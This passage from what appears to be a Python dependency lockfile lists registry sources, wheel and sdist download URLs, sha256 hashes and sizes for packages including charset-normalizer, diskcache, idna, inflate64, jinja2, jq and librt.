{ url = "https://files.pythonhosted.org/packages/2b/9e/46f2fa4c431fc98c4ae76a8cb5bdca54e0341e3cfc3fcfd8e82740250818/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:1db38f4c5496827c1a501846d64d14c3b80c7e6714e406cd7dc36a9899fa1011", size = 242083, upload-time = "2026-09-30T04:38:38.26Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bd/39/559be29a0c0f086e0bba6922babd38916cc5e0b58ced4de13ee01ea05508/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:304d8e4d493af723536393eee0c689eb7813f4a474c8b479dee63f1fdd98f621", size = 232738, upload-time = "2026-09-30T04:38:39.81Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ff/6c/387b0e4f756a282831c1d9fc6aeb6c51ca4507ca202767c8de15ce9b12e2/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_ppc64le.whl", hash = "sha256:9b7f416ff0978e2f2249330527f0ad6fa02f4932e6199692d3b52da2048c19e4", size = 260703, upload-time = "2026-09-30T04:38:41.346Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/96/92/1fdf015f09ef449f50d3ac4b67c90887c9c318b727daa95cc4f866e6521d/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_riscv64.whl", hash = "sha256:01077390b03f7988f11d700a2194e69b119741a86b1a638b1db88891e3eced8e", size = 247622, upload-time = "2026-09-30T04:38:42.937Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/dc/3c/8e7b8a5671ad5d433669fb2a76f1a0164df2d9b1718b0206bc2a16d840cc/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_s390x.whl", hash = "sha256:7e841fb9010836c992c9f12fcbd43a831de93a5f726fc1ccd8ca1d0268c5014c", size = 257500, upload-time = "2026-09-30T04:38:44.604Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b4/f0/45b579df5cabc1d5d53ea1cc35e8437d3ca768c0acccc7041517cb6fbb32/charset_normalizer-3.5.2-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9cae88599c7219005d879f98e5ed53341e9a122af585e1091200358a3003d2a0", size = 255100, upload-time = "2026-09-30T04:38:46.289Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/31/68/fdec18a343f5fb3f310588dd478b09ac4799e0b187dbade3a8cd776f03ef/charset_normalizer-3.5.2-cp37-abi3-win32.whl", hash = "sha256:01b0c0d2262a9e28e8484a278c7e1b5d650e3ac8cf2683d2967e25899f208bdf", size = 174499, upload-time = "2026-09-30T04:38:47.999Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9d/8a/b618149cc5207943a0242068d7a27897f56a62947b5a039085f2a22029f8/charset_normalizer-3.5.2-cp37-abi3-win_amd64.whl", hash = "sha256:9f56f72050826f63dcee7a7f55b0a77168cb3bfc553fd405e7f8f9ece75a4036", size = 200092, upload-time = "2026-09-30T04:38:49.707Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/03/cf/4c66866fa9e2b1c78e3c911516d1de497a677b7ac60f1eceda74ce777ca3/charset_normalizer-3.5.2-cp37-abi3-win_arm64.whl", hash = "sha256:40ab6bffa02ae10a0581e6c198be7d2d8ca5c2a0c64e4ed3465d766df457573e", size = 294363, upload-time = "2026-09-30T04:38:51.312Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/fc/ad/d07d7862a62ffa6d79d68074d14823243dd235a77c45262acbf6adeb28bf/charset_normalizer-3.5.2-py3-none-any.whl", hash = "sha256:b6b751274acb69d77b3323d6b7dbaa3c7fdfc1eb829b7eb61d262f32e1af9685", size = 68872, upload-time = "2026-09-30T04:39:21.828Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "diskcache"
|
||||||
|
version = "5.6.3"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/3f/21/1c1ffc1a039ddcc459db43cc108658f32c57d271d7289a2794e401d0fdb6/diskcache-5.6.3.tar.gz", hash = "sha256:2c3a3fa2743d8535d832ec61c2054a1641f41775aa7c556758a109941e33e4fc", size = 67916, upload-time = "2023-08-31T06:12:00.316Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/3f/27/4570e78fc0bf5ea0ca45eb1de3818a23787af9b390c0b0a0033a1b8236f9/diskcache-5.6.3-py3-none-any.whl", hash = "sha256:5e31b2d5fbad117cc363ebaf6b689474db18a1f6438bc82358b024abd4c2ca19", size = 45550, upload-time = "2023-08-31T06:11:58.822Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "diskcache-stubs"
|
||||||
|
version = "5.6.3.6.20240818"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "typing-extensions" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/cb/d6/b741a916707520349a3853a3f436aaf5df6e06a2c1499636072b1b3ce45d/diskcache_stubs-5.6.3.6.20240818.tar.gz", hash = "sha256:b6eb43899e906b3167a20ac09a9a226f30267a306a96542ea720ebbfc3282796", size = 13524, upload-time = "2024-08-18T07:50:11.943Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6d/76/288d91c284ac1787f01c8260af5ea89dcfa6c0abc9acd601d01cf6f72f86/diskcache_stubs-5.6.3.6.20240818-py3-none-any.whl", hash = "sha256:e1db90940b344140730976abe79f57f5b43ca296cbb43fa95da0c69b12d5de4f", size = 18391, upload-time = "2024-08-18T07:50:10.723Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "idna"
|
||||||
|
version = "3.20"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/f5/08/8eea9d4b8302028f3abb2c0813953f7aec26d33b7a8960ed760e65ff29fa/idna-3.20.tar.gz", hash = "sha256:a7db850025b95ded1eae8a46181a1a6c56c92c96f0e2b005d9ff8dc0210cab44", size = 216463, upload-time = "2026-09-17T14:11:04.752Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/58/a2/bb081bab032533a855d44de1d56f8e8426114ff1ba5d1f07a438a0a654f8/idna-3.20-py3-none-any.whl", hash = "sha256:ab7ae7122974553370f0bdb919e1a960b2cd1bc1ef0276416d896db81c14582c", size = 69583, upload-time = "2026-09-17T14:11:03.168Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "inflate64"
|
||||||
|
version = "1.0.4"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/3e/f3/41bb2901543abe7aad0b0b0284ae5854bb75f848cf406bf8a046bf525f67/inflate64-1.0.4.tar.gz", hash = "sha256:b398c686960c029777afc0ed281a86f66adb956cfc3fbf6667cc6453f7b407ce", size = 902542, upload-time = "2025-11-28T10:55:52.641Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5b/fb/ec9d10f44f2fc7666ad5d70acae2b8a1941e8e08ccae1fad0820f7796be3/inflate64-1.0.4-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:4f61925b2d4248eac2ebb15350a80aaa0d1f7f1dc770bd5ebbbb3b0db4a6a416", size = 58727, upload-time = "2025-11-28T10:55:13.834Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/81/80/24ba0d2ee14e07e275e9c5b058e59a8a58f8ef42dd51a78ebbfd7c857ac4/inflate64-1.0.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c1acf18b08b32981a4a11ec5a112b8ad5d7c7a5b15cb5bdbdb5b19201e9aa180", size = 35945, upload-time = "2025-11-28T10:55:15.225Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/70/b8/073a79716e093db973b8823bdfb02e10fbdf65642dbe1fa3cda24832aeb2/inflate64-1.0.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:abddae8920b2eaef824254e14b8d4ff54afbe6194a1bbe9816584859f0c1244d", size = 36060, upload-time = "2025-11-28T10:55:16.261Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4c/f0/87d3c317ed0acd94f5e9b3b1b9e9000228ea2af0cb4618c62cbfc816da34/inflate64-1.0.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b303132cc562a906543a56f35c4e164e3880da6ff041cb4a7b1df9f9d2b4bb69", size = 98995, upload-time = "2025-11-28T10:55:17.405Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/90/72/0b6035302e9c33f004240a50cb6e2e1fc7bb1f2b415b02d939c551bdd06b/inflate64-1.0.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f0993214dea0738c557fa56c13cd9083aef0097a201d726c21984ad7f577514", size = 100781, upload-time = "2025-11-28T10:55:18.597Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2b/05/5f383c615ec0f01bcbbc699a71da167623e494083ab7ed0df86b4bddf125/inflate64-1.0.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a6baedc3288d7a4ff588951d3a9a97a5391dceed6255ff5b16e42cae7274bfa9", size = 97038, upload-time = "2025-11-28T10:55:20.156Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4e/9a/c1482718c717c49c67490c42b4fdced9476e894eaebd52193e488c12e188/inflate64-1.0.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a846ce1f38845b20bef2625af1b512be83416d97824539524c5a34e7a729aec7", size = 100016, upload-time = "2025-11-28T10:55:21.337Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b8/7f/700ede7474e72a1c0e2e8fe36624cd0225ca8b2875eca33d64aa2de75f4d/inflate64-1.0.4-cp314-cp314-win32.whl", hash = "sha256:eef87908c780439393d577a155868317f0a275b47b417db9f47d8633ec791745", size = 33691, upload-time = "2025-11-28T10:55:22.515Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/dd/51/f2972df8cceecc9bf3afa3353d517ffc7125285198c844588e9aaf98f5d0/inflate64-1.0.4-cp314-cp314-win_amd64.whl", hash = "sha256:fb2fdd63ef3933b67af98b3f2ee2f57e7787278041d7ba4821382fedd729b68a", size = 36304, upload-time = "2025-11-28T10:55:24.005Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/29/77/16200aced67215119fb30ec9a5889b48289ee2fa5ce5137623a9ad41b2c4/inflate64-1.0.4-cp314-cp314-win_arm64.whl", hash = "sha256:2e129669a0243ac7816fd526946ee01c25688fe81623a6d6bc95b3156d80f4fb", size = 34491, upload-time = "2025-11-28T10:55:25.068Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c0/79/b466ec7666c40912ea81a305a8a2b75f5998e6cec1d3d75e067d76203731/inflate64-1.0.4-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:b17bf665d948dc4edeea0cd17752415d0cd7240c882b9c7e136ad4cc4321e9d4", size = 59300, upload-time = "2025-11-28T10:55:26.185Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c9/ad/16e1168ac80f39894e6cb18b439eec63fec42cbced239aebfe12081b6ec7/inflate64-1.0.4-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:6751758301936fbb38fa38eb5312e14e27b6a1abf568f83c17557fab2694373d", size = 36258, upload-time = "2025-11-28T10:55:27.295Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/25/42/c463b42fd8a7947b4445fbaf57c265bb7f3114362fb7aee6884ffd8b5341/inflate64-1.0.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:d6a4136752aa2a544301059d8f13780aeb88c34d60770258436a87dacd3fc304", size = 36296, upload-time = "2025-11-28T10:55:28.632Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/39/f1/cf6121926e405020e9e7bccb78ec7781fbc87500ec67368e7d9e866758be/inflate64-1.0.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:938ebc6b28578bfd365d1a9fdb18b7faab08321babeb2198e8025d07d8dc7fb5", size = 106788, upload-time = "2025-11-28T10:55:29.797Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9c/dd/b653f9962497cf4d3520d69272894c37fd76f86a0e04bb3bd9f32827dc2f/inflate64-1.0.4-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:61f51f80fa6f367288343c1a2cd20a42af454883087064e9274fd2a8c3a5a200", size = 107959, upload-time = "2025-11-28T10:55:31.306Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/60/ae/65d88109b63611c9b6c29008201107127cf2603d186ab99beec39d85f38e/inflate64-1.0.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:172b51da7bbfa66b33f0a5405e944807b9949e92cf4cd9f983c07af8152766df", size = 104213, upload-time = "2025-11-28T10:55:32.506Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f9/94/c17de2f55b9fb1269bca4657f9089efe4ba0f3d4b652f07b34dfc69f69a2/inflate64-1.0.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:8ca9a2985afd5a14fb48cd126a67e5944ccb7a0a6bdec58c4f796c8c88a84539", size = 106629, upload-time = "2025-11-28T10:55:33.735Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8e/30/8bbc587bb2ad09ab7edf1f9215b2c5faf4fa7ee7c071daefe9ed55e28814/inflate64-1.0.4-cp314-cp314t-win32.whl", hash = "sha256:f8964ceaabea294bc20abc9ef408c6aae978a75c25c83168a76cd87a37c38938", size = 33865, upload-time = "2025-11-28T10:55:35.335Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/91/87/8bf6f412f93c8b6dc14866a021b83321331fbdd17f6ab902a24dbf88773d/inflate64-1.0.4-cp314-cp314t-win_amd64.whl", hash = "sha256:7d13b04cba65c12d21e65eaa77da9484e265e8e821b26e0761d1455ad3a878d9", size = 36943, upload-time = "2025-11-28T10:55:36.983Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7d/85/33447bb3c4e3c0ae7b1fde3aadc52a18b2b0193cfcf4f585977e924c6463/inflate64-1.0.4-cp314-cp314t-win_arm64.whl", hash = "sha256:9ae3ee727235a06dc3cd353ee5761fdd8e3b56ad119c711f61680528972a6ced", size = 34846, upload-time = "2025-11-28T10:55:38.433Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "jinja2"
|
||||||
|
version = "3.1.6"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "markupsafe" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "jq"
|
||||||
|
version = "1.12.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/95/ec/3da01457bbd3c6a2fc8fea6736c0b657ffc628e3decbfb1fafcf33dc7dbe/jq-1.12.0.tar.gz", hash = "sha256:729b2d3418c8ca7dccfaa66b9fb7a98bec28474212650d27c5c04358ce26f55c", size = 1965902, upload-time = "2026-07-10T12:36:39.214Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d8/4d/e7599083ceea8bfcc129d446b18f593d80021eff30fdb54eda4d4f0c9372/jq-1.12.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:2209588dc6acd473cac7e017c546ecb636851ad231e35fb7cd45415e503192e4", size = 416070, upload-time = "2026-07-10T12:35:44.808Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/89/66/5a93431781558c7a0d947b24a473db146ca0c482f467b78091c0d584eb77/jq-1.12.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:406cc8a9e94ee6ea83ea5b95e41a7cd5ed9d2038d50fe3a8beed4e11f8a8b661", size = 425176, upload-time = "2026-07-10T12:35:46.41Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9c/bc/a77610a09c99d6ade3e054425332727c120b0a9a933431b5cf541a35a0b2/jq-1.12.0-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ca19b0a295d35f9c2cc9b626961c04ab8af32e6f66b65e8bb0d0bb94d935d809", size = 748519, upload-time = "2026-07-10T12:35:47.848Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/20/52/c3303aa411292160e7892e6572b89bd3a20fe65d780d005f7c92ca4ce630/jq-1.12.0-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4ba6d3d2632fe2c53f55cefe6b20a766a844c79a51744ecf27df1876d8b8f3f0", size = 762490, upload-time = "2026-07-10T12:35:49.558Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7f/cf/9322be5fd98de3d506623153025cd67788eede0227ef64bff19f75d010ba/jq-1.12.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4034a13ad245319ad13086e19f07a864b4d5b306efb3f9874c705b05d930541c", size = 737070, upload-time = "2026-07-10T12:35:51.268Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e7/b4/73b4b49491a6bbb12c6db83d951dfb9477f893df3785e11e65c625e474cf/jq-1.12.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:0acceed1ea0d4c445d2f0fdb5f1e4c41b9897e29e3044ef14eb0387445552e37", size = 756482, upload-time = "2026-07-10T12:35:52.679Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b6/12/ed1384d55e80c01dd76d45b7fb2cd926753a75edf3156b223d7f356b214c/jq-1.12.0-cp314-cp314-win_amd64.whl", hash = "sha256:97ca6233eacc643927aa629c44d358bcf265a923637754196c37dc4e0268ba6b", size = 431151, upload-time = "2026-07-10T12:36:07.479Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5c/2e/fb9f3c34fea83b0202b059e2704df10dc8198077d7491f709cfb11f97937/jq-1.12.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:840fcc9805a6ac1df7aa221fadb43e8702105e0c47dbb30e791d5a3aa731f810", size = 419585, upload-time = "2026-07-10T12:35:54.311Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/70/cd/ab3be753214d40ba4ecea7039948bb800e16cf2d31bfdfe519ca8cc0d484/jq-1.12.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:02112ca560f90c6b1ea31829bb7777fbc5b1f1d13f78b2c6ce5cefa8233cee7e", size = 431464, upload-time = "2026-07-10T12:35:56.356Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f6/db/23369956e8521233482fb818146415e40b980b3b24cc50a04c507b712c26/jq-1.12.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97eb829997e96d079190729df23e6763b86cdbf260c8ceb0b3e0828996a66731", size = 780015, upload-time = "2026-07-10T12:35:58.048Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/24/3e/9d46758527dd5d27098fd27bd50a040e40e0b2c19cce3fc4fa96ac8e75f5/jq-1.12.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:60077506b0e5a68a821dcc237564adbf65b3f50d146b166e844d4a150f069222", size = 776275, upload-time = "2026-07-10T12:35:59.855Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c3/e4/f645c4dc5042f0de7473665d510040d702c079e3a40f9227d04e478d9c16/jq-1.12.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:1dff708ccf14b425b733bf2b94398d95d2c697ace7678cf4e332fafb78e037f8", size = 759497, upload-time = "2026-07-10T12:36:01.572Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f0/95/31ace4332bd17ee6a96f0b8323d7a24dd2164d1663049b78f8d2465e7281/jq-1.12.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7cf775589ad923609c3833668880712da44bf01d06508622aef6c47b67c05f98", size = 767868, upload-time = "2026-07-10T12:36:03.34Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2e/55/925c4df48f6e1a06cebe64007b98dc0bbdca227f22100279b1031aa928ff/jq-1.12.0-cp314-cp314t-win_amd64.whl", hash = "sha256:de7aa00e1328fc3838dcccb9633035a7ea5fc7f716215941c517fead55f94695", size = 432114, upload-time = "2026-07-10T12:36:05.675Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "librt"
|
||||||
|
version = "0.16.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/04/f5/9dc696772d241814bacac7880bac32f2930b5a6ebc1f85317b83161a011c/librt-0.16.0.tar.gz", hash = "sha256:ac38d6d8d66bf3d744148dbbc0b8e193e195a51e364ed55e224631f5721891fc", size = 219839, upload-time = "2026-09-29T00:55:32.891Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/1e/93/9e0cf7da129a93c3dc7f45bc3cd4a660f2aaa995aa8a6f95c2583ef41239/librt-0.16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:931a0bb0fcac88f263e269e46eb30ba8e21402cd3c62ca40cb97034c0693fab1", size = 149844, upload-time = "2026-09-29T00:53:31.391Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8f/26/8a90d2a8f2b2e471bb486b7aec117b8ae622715ed6c39853aec48ea20073/librt-0.16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1bc17e54e5305f8d40b7ca203671ff5a9e59c1d0f8ea0f625dcca53a3984de11", size = 154111, upload-time = "2026-09-29T00:53:32.718Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/35/ce/67abb46258da4d3e42ff5b141db6f38c59357bef84c7979f183b22f924f1/librt-0.16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:877698bf6bca5721d8be345f2fe09778e40ecadea8b58c73075f2b1a53666bf2", size = 494234, upload-time = "2026-09-29T00:53:34.466Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/12/f9/ea7162414a16f8f1bbd3b493ad6d22b926c5471916e078350bdbca8c4e5f/librt-0.16.0-cp314-cp314-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:5981c011b306781ce561e18e14230a14524a3d8109b97553666c942c18f31a96", size = 491173, upload-time = "2026-09-29T00:53:36.124Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b1/09/9b3e869060dd33f9989b80ba4fea306f6db8cecefcdfe6d7346ef0603f65/librt-0.16.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:afced3dfc17cd805ecf7a3d77996a71cf5f2c75aa66eb0c21a9930f4fc992f86", size = 505547, upload-time = "2026-09-29T00:53:37.686Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/50/07/79007d2165f649ea93e08c0962d1d62c70af9cde77965255095bf9d96f9a/librt-0.16.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ca8052401c55d7511dda6760719fda7618067e83535d7d0010096d216c34b667", size = 523057, upload-time = "2026-09-29T00:53:39.301Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/61/0c/8fbaff66d0ba376d8864653f5acce1569bae27e89648671f26f7eca67ab8/librt-0.16.0-cp314-cp314-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1e511762a074005bb0aa569166779834e75e438370226930d0ce1866d4b6a33b", size = 515158, upload-time = "2026-09-29T00:53:41.012Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/df/2e/23ff0dece76f07a4124413a57682efa0bbeb5765ac0122bc0955513f82ca/librt-0.16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f1e8591bd8a5a628cd7f07954c6a1592359a878bf032957a8e9057a41d644311", size = 534183, upload-time = "2026-09-29T00:53:42.451Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/26/c4/e11dea21d9a29486eba78887380374189d472734fa32cc50cb37ca44d3d0/librt-0.16.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4aaefb4ba6c07e1aeebb2795c8958148f1d6f9af3b555b53d23d766edb6d67a", size = 540663, upload-time = "2026-09-29T00:53:44.272Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/44/75/e873ae158a8b7f5359be33e7fd6c1fbe02d9a78a3e89a77de6b0e837f476/librt-0.16.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:d92db7a0f6aee44f1baee94750457e8d2d1c6ccea41842de6268d34e8dc7eddd", size = 545908, upload-time = "2026-09-29T00:53:45.812Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ba/36/8939d3f6a93e11bd9592e6fe28d2b44f1c2dc4bed6e22e72359a91e18ffb/librt-0.16.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:378dfaffb38e59c24a87cde5713cd865d51ff7383fa12947f3907f306ea1ca55", size = 523302, upload-time = "2026-09-29T00:53:47.596Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/71/14/35309f44a077f0f42ade0e2e7cd88c0cea760c661af205c01ea90d3c0e1f/librt-0.16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3e0c39bdc85370422e8b637be76eb1fd07d30967551b03e62267dd156f553152", size = 565911, upload-time = "2026-09-29T00:53:49.278Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/78/0c/df6255b94967f3159ebc46f08d8e783c12da6ee269ddb74b2efed63c640c/librt-0.16.0-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:1b384b90ab79a7bc30b566895809a636e0666f21f3cf12b54823d025b7e83839", size = 79119, upload-time = "2026-09-29T00:53:50.938Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6b/44/d30d5a5461378c9d33f36736c6791c3b4c4ba4b1ffe0da7350aedcb2c9a0/librt-0.16.0-cp314-cp314-win32.whl", hash = "sha256:52327da75a94012e7f932f913d20d3876bed3c102be00e6c3e8600ff7bdd58a7", size = 100140, upload-time = "2026-09-29T00:53:52.205Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c2/98/769712f356a1e897df3581bb0c3100375d054a000de26099360ea65b5111/librt-0.16.0-cp314-cp314-win_amd64.whl", hash = "sha256:3f0b8114c44b2ac06ff5dacd08e07e8e807ff4f46083f2a1602685122559be41", size = 120464, upload-time = "2026-09-29T00:53:53.495Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bf/d3/ae2abccc8bdc8b063c1613a77686e17b74e9d3d60cfe6f12c63fa2821b9f/librt-0.16.0-cp314-cp314-win_arm64.whl", hash = "sha256:8caf96a4ef8fb27d0ac0d1ad8337d26a240acd4a02fe4345d0a8f264753e8f99", size = 110889, upload-time = "2026-09-29T00:53:54.817Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e4/26/0737d4be058dd6376eade7dd8b380d4b869b6394cee929393a5a431c45bb/librt-0.16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:953107e2f68d0f3512c48f898b0dbf0ce5cc52bba0f318d847c985dc555ee4cc", size = 159838, upload-time = "2026-09-29T00:53:56.22Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/01/96/9bc96531d7c620e9949af904470f02e3fa8f35129ab8e8f281c51eaa3788/librt-0.16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ad37d5b9abd49c9a655dcda7ea52a8a752884062ef1ee71ae17c2f2a0f81fe6a", size = 162018, upload-time = "2026-09-29T00:53:57.532Z" },
|
||||||
|
